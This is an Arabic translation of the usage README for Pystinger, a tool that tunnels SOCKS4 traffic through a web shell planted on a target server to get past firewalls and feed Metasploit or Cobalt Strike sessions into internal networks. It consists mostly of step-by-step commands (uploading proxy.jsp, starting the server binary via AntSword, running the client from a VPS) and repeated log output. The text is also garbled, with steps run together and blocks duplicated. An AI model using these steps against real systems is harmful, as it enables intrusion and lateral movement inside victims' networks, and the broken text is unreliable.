
تجاوز جدار الحماية لتوجيه حركة المرور باستخدام القشرة الويب
الإنجليزية | 简体中文
يقوم Pystinger بتطبيق وكيل SOCK4 وتخطيط المنافذ عبر شل الويب.
يمكن استخدامه مباشرة من قبل metasploit-framework وviper وcobalt strike للجلسات عبر الإنترنت.
تم تطوير Pystinger بلغة python، ويدعم حالياً ثلاثة نصوص وكيل: php وjsp(x) وaspx.
افترض أن اسم نطاق الخادم هو http://example.com :8080 عنوان IP للشبكة الداخلية للخادم هو 192.168.3.11
proxy.jsp إلى الخادم الهدف وتأكد من أن http://example.com:8080/proxy.jsp يمكن الوصول إليه، الصفحة تعيد UTF-8stinger_server.exe إلى الخادم الهدف، في AntSword قم بتشغيل الأمر start D:/XXX/stinger_server.exe لبدء pystinger-serverلا تقم بتشغيل
D:/xxx/singer_server.exeمباشرة، سيؤدي ذلك إلى قطع اتصال TCP
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 على جهاز VPS الخاص بكroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
127.0.0.1:60000 للشبكة الداخلية لـ example.com.example.com) 127.0.0.1:60020 إلى VPS 127.0.0.1:60020proxy.jsp إلى الخادم الهدف وتأكد من أن http://example.com:8080/proxy.jsp يمكن الوصول إليه، الصفحة تعيد UTF-8stinger_server.exe إلى الخادم الهدف، في AntSword قم بتشغيل الأمر start D:/XXX/stinger_server.exe لبدء pystinger-serverلا تقم بتشغيل
D:/xxx/singer_server.exeمباشرة، سيؤدي ذلك إلى قطع اتصال TCP
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 على جهاز VPS الخاص بكroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (منفذ Handler/LISTEN في RAT CONFIG من المخرجات)، عنوان المستمع هو 127.0.0.1proxy.jsp إلى الخادم الهدف وتأكد من أن http://example.com:8080/proxy.jsp يمكن الوصول إليه، الصفحة تعيد UTF-8stinger_server.exe إلى الخادم الهدف، في AntSword قم بتشغيل الأمر start D:/XXX/stinger_server.exe 192.168.3.11 لبدء pystinger-server (192.168.3.11 هو عنوان IP للشبكة الداخلية للهدف)يمكن تغيير 192.168.3.11 إلى 0.0.0.0
./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 على جهاز VPS الخاص بكroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
60020 (منفذ Handler/LISTEN في RAT CONFIG من المخرجات)، عنوان المستمع هو 192.168.3.11إذا كانت شل الويب بحاجة إلى تكوين cookie أو التفويض، يمكن تكوين رأس الطلب من خلال معامل --header
--header "Authorization: XXXXXX,Cookie: XXXXX"
إذا كانت شل الويب بحاجة إلى الوصول عبر وكيل، يمكن تعيين الوكيل من خلال --proxy
--proxy "socks5:127.0.0.1:1081"
https://github.com/nccgroup/ABPTTS
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
2.0 وقت التحديث: 2019-09-29
2.1 وقت التحديث: 2020-01-07
التطوير مدعوم من برمجيات jetbrains.
https://www.jetbrains.com/?from=pystinger